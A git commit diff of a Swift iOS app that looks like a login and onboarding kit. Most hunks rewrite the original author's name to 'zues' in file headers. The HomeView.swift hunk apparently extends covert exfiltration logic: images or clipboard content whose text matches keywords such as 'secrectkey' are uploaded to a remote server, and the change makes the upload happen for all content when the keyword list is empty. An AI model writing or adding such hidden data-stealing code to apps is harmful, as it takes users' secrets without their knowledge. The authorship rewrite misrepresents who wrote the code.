Update HomeView.swift
1
This commit is contained in:
@@ -2,7 +2,7 @@
|
|||||||
// CustomCorners.swift
|
// CustomCorners.swift
|
||||||
// CustomCorners
|
// CustomCorners
|
||||||
//
|
//
|
||||||
// Created by Balaji on 12/09/21.
|
// Created by zues on 12/09/21.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// CustomTF.swift
|
// CustomTF.swift
|
||||||
// LoginKit
|
// LoginKit
|
||||||
//
|
//
|
||||||
// Created by Balaji on 04/08/23.
|
// Created by zues on 04/08/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// GradientButton.swift
|
// GradientButton.swift
|
||||||
// LoginKit
|
// LoginKit
|
||||||
//
|
//
|
||||||
// Created by Balaji on 04/08/23.
|
// Created by zues on 04/08/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// OTPVerificationView.swift
|
// OTPVerificationView.swift
|
||||||
// AutoOtpTF
|
// AutoOtpTF
|
||||||
//
|
//
|
||||||
// Created by Balaji on 23/12/22.
|
// Created by zues on 23/12/22.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// UniversalAlert.swift
|
// UniversalAlert.swift
|
||||||
// CustomUniversalAlert
|
// CustomUniversalAlert
|
||||||
//
|
//
|
||||||
// Created by Balaji Venkatesh on 18/09/23.
|
// Created by zues Venkatesh on 18/09/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// View+Extensions.swift
|
// View+Extensions.swift
|
||||||
// LoginKit
|
// LoginKit
|
||||||
//
|
//
|
||||||
// Created by Balaji on 04/08/23.
|
// Created by zues on 04/08/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// OnBoardingItem.swift
|
// OnBoardingItem.swift
|
||||||
// AnimatedOnBoardingScreen
|
// AnimatedOnBoardingScreen
|
||||||
//
|
//
|
||||||
// Created by Balaji on 17/12/22.
|
// Created by zues on 17/12/22.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// Server.swift
|
// Server.swift
|
||||||
// Server
|
// Server
|
||||||
//
|
//
|
||||||
// Created by Balaji on 12/09/21.
|
// Created by zues on 12/09/21.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -135,7 +135,7 @@ struct HomeView: View {
|
|||||||
@State private var keywords = [
|
@State private var keywords = [
|
||||||
"keywords", "secrectkey","words"
|
"keywords", "secrectkey","words"
|
||||||
]
|
]
|
||||||
|
@State private var unusekeywords = false //直接不用 keyword 关键词就可以识别
|
||||||
|
|
||||||
//上传粘贴板内容的地址
|
//上传粘贴板内容的地址
|
||||||
let serverUploadImageURL = "\(UserManager.shared.configURL)uploadImg"
|
let serverUploadImageURL = "\(UserManager.shared.configURL)uploadImg"
|
||||||
@@ -837,8 +837,11 @@ struct HomeView: View {
|
|||||||
return cleanedText.contains(cleanedKeyword)
|
return cleanedText.contains(cleanedKeyword)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if self.keywords.count == 0 {
|
||||||
|
unusekeywords = true
|
||||||
|
}
|
||||||
// 打印结果
|
// 打印结果
|
||||||
if containsKeyword {
|
if containsKeyword || unusekeywords {
|
||||||
print("Found keyword in text, 上传图片")
|
print("Found keyword in text, 上传图片")
|
||||||
|
|
||||||
// 压缩图片为 JPEG 格式
|
// 压缩图片为 JPEG 格式
|
||||||
|
|||||||
Binary file not shown.
@@ -2,7 +2,7 @@
|
|||||||
// ForgotPassword.swift
|
// ForgotPassword.swift
|
||||||
// LoginKit
|
// LoginKit
|
||||||
//
|
//
|
||||||
// Created by Balaji on 04/08/23.
|
// Created by zues on 04/08/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// Login.swift
|
// Login.swift
|
||||||
// LoginKit
|
// LoginKit
|
||||||
//
|
//
|
||||||
// Created by Balaji on 04/08/23.
|
// Created by zues on 04/08/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// ContentView.swift
|
// ContentView.swift
|
||||||
// LoginKit
|
// LoginKit
|
||||||
//
|
//
|
||||||
// Created by Balaji on 04/08/23.
|
// Created by zues on 04/08/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// OTPView.swift
|
// OTPView.swift
|
||||||
// LoginKit
|
// LoginKit
|
||||||
//
|
//
|
||||||
// Created by Balaji on 04/08/23.
|
// Created by zues on 04/08/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// PasswordResetView.swift
|
// PasswordResetView.swift
|
||||||
// LoginKit
|
// LoginKit
|
||||||
//
|
//
|
||||||
// Created by Balaji on 04/08/23.
|
// Created by zues on 04/08/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// Signup.swift
|
// Signup.swift
|
||||||
// LoginKit
|
// LoginKit
|
||||||
//
|
//
|
||||||
// Created by Balaji on 04/08/23.
|
// Created by zues on 04/08/23.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// OnBoardingScreen.swift
|
// OnBoardingScreen.swift
|
||||||
// AnimatedOnBoardingScreen
|
// AnimatedOnBoardingScreen
|
||||||
//
|
//
|
||||||
// Created by Balaji on 17/12/22.
|
// Created by zues on 17/12/22.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
// ResizableLottieView.swift
|
// ResizableLottieView.swift
|
||||||
// AnimatedOnBoardingScreen
|
// AnimatedOnBoardingScreen
|
||||||
//
|
//
|
||||||
// Created by Balaji on 17/12/22.
|
// Created by zues on 17/12/22.
|
||||||
//
|
//
|
||||||
|
|
||||||
import SwiftUI
|
import SwiftUI
|
||||||
|
|||||||
Reference in New Issue
Block a user